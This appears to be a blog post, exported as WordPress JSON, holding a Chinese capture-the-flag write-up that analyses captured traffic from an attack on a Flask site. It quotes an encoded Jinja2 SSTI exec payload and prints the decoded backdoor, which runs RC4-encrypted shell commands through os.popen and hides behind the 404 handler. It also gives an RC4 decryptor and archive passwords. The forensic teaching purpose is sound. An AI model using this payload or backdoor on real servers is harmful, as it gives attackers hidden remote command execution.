{"id":166,"date":"2026-01-23T17:15:49","date_gmt":"2026-01-23T09:15:49","guid":{"rendered":"http:\/\/shr1mp.top\/?p=166"},"modified":"2026-03-17T21:08:45","modified_gmt":"2026-03-17T13:08:45","slug":"ciscn%e6%b5%81%e9%87%8f%e5%88%86%e6%9e%90writeup","status":"publish","type":"post","link":"https:\/\/shr1mp.top\/index.php\/2026\/01\/23\/ciscn%e6%b5%81%e9%87%8f%e5%88%86%e6%9e%90writeup\/","title":{"rendered":"[2025\u957f\u57ce\u676f]SnakeBackdoor"},"content":{"rendered":"\n

\u4e0b\u8f7dO.0<\/a><\/p>\n\n\n\n

SnakeBackdoor-1<\/h2>\n\n\n\n
\n

\u653b\u51fb\u8005\u7206\u7834\u6210\u529f\u7684\u540e\u53f0\u5bc6\u7801\u662f\u4ec0\u4e48\uff1f\uff0c\u7ed3\u679c\u63d0\u4ea4\u5f62\u5f0f\uff1aflag{xxxxxxxxx}<\/p>\n<\/blockquote>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u7edf\u8ba1\u5206\u6790\uff0c\u53d1\u73b0http\u5360\u6bd4\u8f83\u591a\uff0c\u76f4\u63a5\u7b5b\u9009http\u6d41<\/p>\n\n\n\n

\u5148\u521d\u6b65\u5206\u6790\uff0c\u53ef\u4ee5\u53d1\u73b0192.168.1.111\u662f\u653b\u51fb\u8005<\/p>\n\n\n\n

\u627e\u5230\u6700\u540e\u4e00\u4e2alogin\uff0c\u53f3\u952e\u8ffd\u8e2a\u4e00\u4e0b\uff0c\u5c31\u53ef\u4ee5\u57281764\u6d41\u91cc\u770b\u5230\u540e\u53f0\u5bc6\u7801<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u83b7\u5f97flag<\/p>\n\n\n\n

flag{zxcvbnm123}<\/code><\/pre>\n\n\n\n
SnakeBackdoor-2<\/h2>\n\n\n\n
\n
\u653b\u51fb\u8005\u901a\u8fc7\u6f0f\u6d1e\u5229\u7528\u83b7\u53d6Flask\u5e94\u7528\u7684 SECRET_KEY<\/code> \u662f\u4ec0\u4e48\uff0c\u7ed3\u679c\u63d0\u4ea4\u5f62\u5f0f\uff1aflag{xxxxxxxxxx}<\/p>\n<\/blockquote>\n\n\n\n
\u6a21\u7cca\u67e5\u8be2\uff0c\u76f4\u63a5\u627e\u5230\u8fd9\u4e2a\u5173\u952e\u5b57\u201cSECRET_KEY”<\/p>\n\n\n\n
http contains \"SECRET_KEY\" <\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8ffd\u8e2a\u8fd9\u4e2a\u6d411779<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u6bb5\u6d41\u91cf\u662f Flask \u6846\u67b6\u5e94\u7528\u914d\u7f6e\u5bf9\u8c61<\/strong> \u7684\u5b8c\u6574\u5e8f\u5217\u5316\u8f93\u51fa\uff0c\u653b\u51fb\u8005\u901a\u8fc7 SSTI\uff08\u670d\u52a1\u7aef\u6a21\u677f\u6ce8\u5165\uff09<\/strong> \u6f0f\u6d1e\u6210\u529f\u8bfb\u53d6\u4e86\u5185\u5b58\u4e2d\u7684\u654f\u611f\u53d8\u91cf<\/p>\n\n\n\n
\u77e5\u8bc6\u70b9\uff1a<\/p>\n\n\n\n
Flask \u662f\u4e00\u4e2a\u7528 Python \u7f16\u5199\u7684\u8f7b\u91cf\u7ea7 Web \u5e94\u7528\u6846\u67b6\uff0c\u4ee5\u5176\u7b80\u6d01\u3001\u7075\u6d3b\u548c\u6613\u6269\u5c55\u7684\u7279\u6027\u800c\u5e7f\u53d7\u6b22\u8fce\u3002\u5b83\u5c5e\u4e8e\"\u5fae\u6846\u67b6\"\uff08Microframework\uff09\u8303\u7574\uff0c\u6838\u5fc3\u529f\u80fd\u7cbe\u7b80\uff0c\u4f46\u901a\u8fc7\u4e30\u5bcc\u7684\u6269\u5c55\u5e93\u53ef\u4ee5\u8f7b\u677e\u6784\u5efa\u529f\u80fd\u5b8c\u6574\u7684 Web \u5e94\u7528\u3002\u5728Flask\u6846\u67b6\u4e2d\uff0c\u5e94\u7528\u914d\u7f6e\u662f\u7ba1\u7406\u9879\u76ee\u8bbe\u7f6e\u7684\u6838\u5fc3\u3002\u914d\u7f6e\u5bf9\u8c61 app.config\u672c\u8d28\u4e0a\u662f\u4e00\u4e2a\u5b57\u5178\u7684\u5b50\u7c7b\uff0c\u7528\u4e8e\u96c6\u4e2d\u5b58\u50a8\u6846\u67b6\u3001\u6269\u5c55\u548c\u9879\u76ee\u81ea\u8eab\u7684\u6240\u6709\u914d\u7f6e\u53d8\u91cf<\/code><\/pre>\n\n\n\n
\u5185\u5bb9\uff1a'SECRET_KEY': 'c6242af0-6891-4510-8432-e1cdf051f160'\n\u5b89\u5168\u610f\u4e49\uff1a\u8fd9\u662f Flask \u5e94\u7528\u6700\u6838\u5fc3\u7684\u5b89\u5168\u51ed\u8bc1<\/code><\/pre>\n\n\n\n
\u6240\u4ee5\u5f97\u5230flag<\/p>\n\n\n\n
flag{c6242af0-6891-4510-8432-e1cdf051f160}<\/code><\/pre>\n\n\n\n
SnakeBackdoor-3<\/h2>\n\n\n\n
\n
\u653b\u51fb\u8005\u690d\u5165\u7684\u6728\u9a6c\u4f7f\u7528\u4e86\u52a0\u5bc6\u7b97\u6cd5\u6765\u9690\u85cf\u901a\u8baf\u5185\u5bb9\u3002\u8bf7\u5206\u6790\u6ce8\u5165Payload\uff0c\u7ed9\u51fa\u8be5\u52a0\u5bc6\u7b97\u6cd5\u4f7f\u7528\u7684\u5bc6\u94a5\u5b57\u7b26\u4e32(Key)<\/strong> \uff0c\u7ed3\u679c\u63d0\u4ea4\u5f62\u5f0f\uff1aflag{xxxxxxxx}<\/p>\n<\/blockquote>\n\n\n\n
\u77e5\u8bc6\u70b9\uff1a<\/p>\n\n\n\n
Payload\uff08\u8f7d\u8377\uff09\u5728\u7f51\u7edc\u5b89\u5168\u9886\u57df\u7279\u6307\u653b\u51fb\u4ee3\u7801\u6216\u6076\u610f\u6570\u636e\uff0c\u662f\u653b\u51fb\u8005\u6ce8\u5165\u5230\u76ee\u6807\u7cfb\u7edf\u4e2d\u7684\u6709\u6548\u653b\u51fb\u90e8\u5206\u3002<\/code><\/pre>\n\n\n\n
\u7ee7\u7eed\u8ffd\u8e2a1779\u540e\u9762\u7684\u6d41\uff0c\u5f80\u540e\u7ffb\uff0c\u53d1\u73b0\u4e86\u4e00\u4e2a\u53ef\u7591\u76841789\u6d41<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\n    [\u2026] Form item: \"preview_content\" = \"{{url_for.__globals__['__builtins__']['exec'](\"import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkp\n        Key: preview_content\n        Value [\u2026]: {{url_for.__globals__['__builtins__']['exec'](\"import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM\n<\/code><\/pre>\n\n\n\n
\u4e3a\u4ec0\u4e48\u8bf4\u53ef\u7591\uff1a<\/p>\n\n\n\n
    \n
  • \u9996\u5148\uff0c\u5185\u5bb9\u4ee5 {{ … }} \u5305\u88f9\uff0c\u6b63\u5e38\u7684\u201c\u9884\u89c8\u9884\u89c8\u201d\u529f\u80fd\u5e94\u8be5\u53ea\u5904\u7406\u7eaf\u6587\u672c\u6216\u7b80\u5355\u7684 HTML\uff0c\u800c\u8fd9\u91cc\u63d0\u4ea4\u7684\u662f Jinja2 \u6a21\u677f\u6267\u884c\u4ee3\u7801 <\/li>\n\n\n\n
  • ***\u5176\u6b21\uff0c\u5b83\u6709\u5371\u9669\u51fd\u6570\u7684\u8c03\u7528\uff0c\u8f7d\u8377\u4e2d\u51fa\u73b0\u4e86 url_for.__globals__[‘__builtins__’][‘exec’] globals<\/strong>\uff0c\u6211\u4eec\u90fd\u77e5\u9053\u5b83\u662f\u8bd5\u56fe\u8bbf\u95ee Python \u7684\u5168\u5c40\u547d\u540d\u7a7a\u95f4 exec\uff0c\u8fd9\u53c8\u662f Python \u6700\u5371\u9669\u7684\u51fd\u6570\uff0c\u80fd\u5c06\u5b57\u7b26\u4e32\u5f53\u4f5c\u4ee3\u7801\u6267\u884c\uff0c\u57fa\u672c\u4e0a\u4efb\u4f55\u5728\u6d41\u91cf\u4e2d\u770b\u5230\u7684 exec \u57fa\u672c\u4e0a\u90fd\u662f RCE \u7684\u6807\u5fd7<\/strong><\/li>\n\n\n\n
  • \u63a5\u7740\uff0c\u5b83\u91cc\u9762\u8fd8\u5d4c\u5957\u4e86 .b64decode\u3001zlib.decompress \u4ee5\u53ca [::-1]\u7b49\u4e00\u5927\u5806\u4e71\u4e03\u516b\u7cdf\u7684\u4e1c\u897f\uff0c\u6b63\u5e38\u7684\u4e1a\u52a1\u8bf7\u6c42\u7edd\u4e0d\u4f1a\u5c06\u4ee3\u7801\u8fdb\u884c\u538b\u7f29\u3001\u53cd\u8f6c\u518d\u53d1\u9001 <\/li>\n\n\n\n
  • \u6700\u540e\uff0c\u4e00\u4e2a\u7b80\u5355\u7684\u201cHello World\u201d\u9884\u89c8\u8bf7\u6c42\u901a\u5e38\u53ea\u6709\u51e0\u5341\u4e2a\u5b57\u8282\uff0c\u4f46\u8fd9\u4e2a\u8bf7\u6c42\u7684 Content-Length \u8fbe\u5230\u4e86 4602<\/strong> \u5b57\u8282\uff0c\u8bf4\u660e\u5176\u4e2d\u9690\u85cf\u4e86\u590d\u6742\u7684\u903b\u8f91\u811a\u672c<\/li>\n<\/ul>\n\n\n\n
    \u5185\u5bb9\u5206\u6790\uff1a<\/p>\n\n\n\n
      \n
    • \u9996\u5148\u662fSSTI \u6ce8\u5165\u5c42\uff0c\u4f7f\u7528 {{url_for.__globals__[‘__builtins__’][‘exec’](\u4ee3\u7801, \u4e0a\u4e0b\u6587)}}\uff0c\u8fd9\u662f\u5229\u7528\u4e86 Flask \u7684\u6a21\u677f\u6ce8\u5165\u6f0f\u6d1e\u6765\u8c03\u7528 Python \u7684\u5185\u7f6e exec \u51fd\u6570<\/li>\n\n\n\n
    • \u5176\u6b21\uff0c \u7f16\u7801\u5c42\uff08\u5916\u58f3\uff09exec(.b64decode(‘XyA9IGxh…’))<\/li>\n<\/ul>\n\n\n\n
      \u5f00\u4e00\u5c42\uff1a<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u6839\u636e[::-1]\u6dfb\u52a0Re\u7ee7\u7eed<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u6b64\u65f6cyberchef\u81ea\u52a8\u8bc6\u522b\u51fa\u4e86zlib<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u4e00\u76f4zlib\u64cd\u4f5c<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u5f97\u5230\u5982\u4e0b\u4ee3\u7801\uff0c\u53f3\u8fb9\u662f\u6211\u7684\u5206\u6790<\/p>\n\n\n\n
      global exc_class\nglobal code\nimport os,binascii\nexc_class, code = app._get_exc_class_and_code(404)\nRC4_SECRET = b'v1p3r_5tr1k3_k3y'                         #\u5bc6\u94a5\ndef rc4_crypt(data: bytes, key: bytes) -> bytes:         \n\tS = list(range(256))                           #S\u521d\u59cb\u5316\u4e3a0-255\u7684\u8fde\u7eed\u503c\n\tj = 0                                          #\u4f7f\u7528\u5bc6\u94a5\u5bf9S\u8fdb\u884c\u968f\u673a\u5316\u7f6e\u6362\n\tfor i in range(256):\n\tj = (j + S[i] + key[i % len(key)]) % 256    #\u5bc6\u94a5\u5b57\u8282\u5faa\u73af\u4f7f\u7528\u4ee5\u586b\u5145\u6574\u4e2aS\n\t\tS[i], S[j] = S[j], S[i]                  #\u4ea4\u6362S[i]\u548cS[j]\uff0c\u6253\u4e71S\n\ti = j = 0                                     #\u751f\u6210\u5bc6\u94a5\u6d41\u5e76\u52a0\u89e3\u5bc6\n\tres = bytearray()\n\tfor char in data:\n\t\ti = (i + 1) % 256\n\t\tj = (j + S[i]) % 256\n\t\tS[i], S[j] = S[j], S[i]\n\t\tres.append(char ^ S[(S[i] + S[j]) % 256])\n\treturn bytes(res)\ndef backdoor_handler():\n\tif request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':                    #\u8ddftoken\u5bf9\u6bd4\n\t\treturn \"Error\"\n\tenc_hex_cmd = request.form.get('data')\n\tif not enc_hex_cmd:\n\t\treturn \"\"\n\ttry:\n\t\tenc_cmd = binascii.unhexlify(enc_hex_cmd)\n\t\tcmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')\n\t\toutput_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')\n\t\tenc_output = rc4_crypt(output_bytes, RC4_SECRET)\n\t\treturn binascii.hexlify(enc_output).decode()\n\texcept:\n\t\treturn \"Error\"\napp.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()<\/code><\/pre>\n\n\n\n
      \u62ff\u5230flag<\/p>\n\n\n\n
      flag{v1p3r_5tr1k3_k3y}<\/code><\/pre>\n\n\n\n
      SnakeBackdoor-4<\/h2>\n\n\n\n
      \n
      \u653b\u51fb\u8005\u4e0a\u4f20\u4e86\u4e00\u4e2a\u4e8c\u8fdb\u5236\u540e\u95e8\uff0c\u8bf7\u5199\u51fa\u6728\u9a6c\u8fdb\u7a0b\u6267\u884c\u7684\u672c\u4f53\u6587\u4ef6\u7684\u540d\u79f0\uff0c\u7ed3\u679c\u63d0\u4ea4\u5f62\u5f0f\uff1aflag{xxxxx}\uff0c\u4ec5\u5199\u6587\u4ef6\u540d\u4e0d\u52a0\u8def\u5f84<\/p>\n<\/blockquote>\n\n\n\n
      \uff08\u4e2a\u4eba\u7406\u89e3\uff09\u767b\u9646\u540e\u67e5\u8be2\u6587\u4ef6\u548c\u6587\u4ef6\u5939\u7684\u6d41\u57281779-1788\uff0c1789\u6ce8\u5165payload\uff0c1790\u5f00\u59cb\u7684post\u8bf7\u6c42\u5373\u4e3a\u690d\u5165\u6587\u4ef6\u53ef\u80fd\u5b58\u5728\u7684\u6d41\uff0chttp\u5934\u4e2d\u4e0a\u4f20\u6587\u4ef6\u7684post\u4e00\u5b9a\u4f1a\u6709X-Token-Auth: 3011aa21232beb7504432bfa90d32779\uff0c\u4e0d\u59a8\uff1a<\/p>\n\n\n\n
      http contains \"X-Token-Auth\"<\/code><\/pre>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u6839\u636e\u7b2c\u4e09\u95eeai\u51fa\u811a\u672c\u6765\u89e3\u5bc6\u6d41\u91cf\u5305\u4e2d\u7684\u7f16\u7801<\/p>\n\n\n\n
      import binascii\n\ndef rc4_crypt(data: bytes, key: bytes) -> bytes:\n    S = list(range(256))\n    j = 0\n    for i in range(256):\n        j = (j + S[i] + key[i % len(key)]) % 256\n        S[i], S[j] = S[j], S[i]\n    i = j = 0\n    res = bytearray()\n    for char in data:\n        i = (i + 1) % 256\n        j = (j + S[i]) % 256\n        S[i], S[j] = S[j], S[i]\n        res.append(char ^ S[(S[i] + S[j]) % 256])\n    return bytes(res)\n\nSECRET = b'v1p3r_5tr1k3_k3y'\nenc_hex_cmd = \"\u8fd9\u91cc\u586b\u6d41\u91cf\u5305\u91cc\u7684hex\u5b57\u7b26\u4e32\" \n\nenc_cmd = binascii.unhexlify(enc_hex_cmd)\ncmd = rc4_crypt(enc_cmd, SECRET).decode('utf-8', errors='ignore')\nprint(f\"Decrypted Command: {cmd}\")\n<\/code><\/pre>\n\n\n\n
      \u5c06\u6bcf\u4e2apost\u4e2d\u7684\u4ee3\u7801\u62ff\u8fdb\u53bb\u8dd1\u4e00\u8dd1\uff08\u6bcf\u4e2a\u56fe\u7247\u4e0b\u9762\u6709\u6bcf\u4e2a\u6d41\u7684\u6807\u6ce8\uff09<\/p>\n\n\n\n
      \"\"<\/div>
      1780<\/strong><\/figcaption><\/figure>\n\n\n\n
      \"\"<\/div>
      1793<\/strong><\/figcaption><\/figure>\n\n\n\n
      \"\"<\/div>
      1806<\/figcaption><\/figure>\n\n\n\n
      \"\"<\/div>
      1813<\/strong><\/figcaption><\/figure>\n\n\n\n
      \"\"<\/div>
      1813<\/figcaption><\/figure>\n\n\n\n
      archive:\u5f52\u7c7b\u6587\u6863\uff1binflating\uff1a\u89e3\u538b\u6587\u4ef6<\/p>\n\n\n\n
      \"\"<\/div>
      1817<\/strong><\/figcaption><\/figure>\n\n\n\n
      mv:\u79fb\u52a8\u6587\u4ef6<\/p>\n\n\n\n
      \"\"<\/div>
      1825<\/strong><\/figcaption><\/figure>\n\n\n\n
      chmod +x\u7ed9\u6587\u4ef6\u6dfb\u52a0\u6743\u9650<\/p>\n\n\n\n
      \"\"<\/div>
      1826<\/figcaption><\/figure>\n\n\n\n
      \u4e2a\u4eba\u5206\u6790\uff1a<\/p>\n\n\n\n
      1780\u548c1793\u5229\u7528linux\u547d\u4ee4\u83b7\u53d6\u7f51\u7ad9\u540e\u53f0\u4fe1\u606f\uff1b<\/p>\n\n\n\n
      1806\u5728\u4e0a\u4f20123.zip\u5728shell\uff0c1813\u7ee7\u7eed\u4e0a\u4f20\u81ea\u5df1\u7684\u6587\u4ef6\u5939\uff1b<\/p>\n\n\n\n
      1817\u5f00\u59cb\u690d\u5165\u7a0b\u5e8f\uff0c\u8fd9\u4e2a\u662fpython3.13\uff1b<\/p>\n\n\n\n
      1825\u548c1826\u5bf9\u8fd9\u4e2a\u6587\u4ef6\u8fdb\u884c\u64cd\u4f5c<\/p>\n\n\n\n
      \u6240\u4ee5flag\u662f<\/p>\n\n\n\n
      flag{python3.13}<\/code><\/pre>\n\n\n\n
      SnakeBackdoor-5\uff08\u9006\u5411\u4e0d\u4f1a\uff09<\/h2>\n\n\n\n
      \n
      \u8bf7\u63d0\u53d6\u9a7b\u7559\u7684\u6728\u9a6c\u672c\u4f53\u6587\u4ef6\uff0c\u901a\u8fc7\u9006\u5411\u5206\u6790\u627e\u51fa\u6728\u9a6c\u6837\u672c\u901a\u4fe1\u4f7f\u7528\u7684\u52a0\u5bc6\u5bc6\u94a5\uff08hex\uff0c\u5c0f\u5199\u5b57\u6bcd\uff09\uff0c\u7ed3\u679c\u63d0\u4ea4\u5f62\u5f0f\uff1aflag{[0-9a-f]+}<\/p>\n<\/blockquote>\n\n\n\n
      \u7531\u4e0a\u4e00\u9898\u53ef\u77e5\uff0c\u57281813\u5f00\u59cb\u89e3\u538b\u6587\u4ef6,\u6240\u4ee5\u53ef\u4ee5\u63d0\u53d6\u6d41\u91cf\u5305\u4e2d\u4f20\u8f93\u7684123.zip\uff0c1808\u52301812\u5168\u662fTCP\u63e1\u624b\uff0c\u800c1807\u6d41\u4e0a\u4f20123.zip<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u590d\u5236\u539f\u59cb\u6570\u636e\u5230cyberchef\uff0c\u8f6c\u51fazip<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u4e4b\u540e\u53d1\u73b0\u9700\u8981\u5bc6\u7801\uff0c\u800c\u8fd9\u4e2a\u9ed1\u5ba2\u653b\u51fb\u8fdb\u884c\u7684\u89e3\u538b\u64cd\u4f5c\u7edd\u5bf9\u4f1a\u5305\u62ec\u89e3\u5bc6\u8fc7\u7a0b\uff0c\u6240\u4ee5\u57281813\u6d41\u91cf\u5305\u4e2d\u67e5\u627e\u3002<\/p>\n\n\n\n
      unzip -P nf2jd092jd01 -d \/tmp \/tmp\/123.zip<\/code><\/pre>\n\n\n\n
      \u6240\u4ee5\u5bc6\u7801\u662fnf2jd092jd01\uff0c\u5f97\u5230\u4e00\u4e2a\u6587\u4ef6shell\uff0c\u52a0\u540e\u7f00\u540dexe\uff0c\u7528IDA\u6253\u5f00\uff0c\u8fdb\u5165main\u677f\u5757<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"
      \u4e0b\u8f7dO.0 SnakeBackdoor-1 \u653b\u51fb\u8005\u7206\u7834\u6210\u529f\u7684\u540e\u53f0\u5bc6\u7801\u662f\u4ec0\u4e48\uff1f\uff0c\u7ed3\u679c\u63d0\u4ea4\u5f62\u5f0f\uff1aflag{xxxx […]<\/p>\n","protected":false},"author":1,"featured_media":1002,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_gspb_post_css":"","footnotes":""},"categories":[9,10],"tags":[],"class_list":["post-166","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-misc","category-10"],"_links":{"self":[{"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/posts\/166","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/comments?post=166"}],"version-history":[{"count":54,"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/posts\/166\/revisions"}],"predecessor-version":[{"id":712,"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/posts\/166\/revisions\/712"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/media\/1002"}],"wp:attachment":[{"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/media?parent=166"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/categories?post=166"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/tags?post=166"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}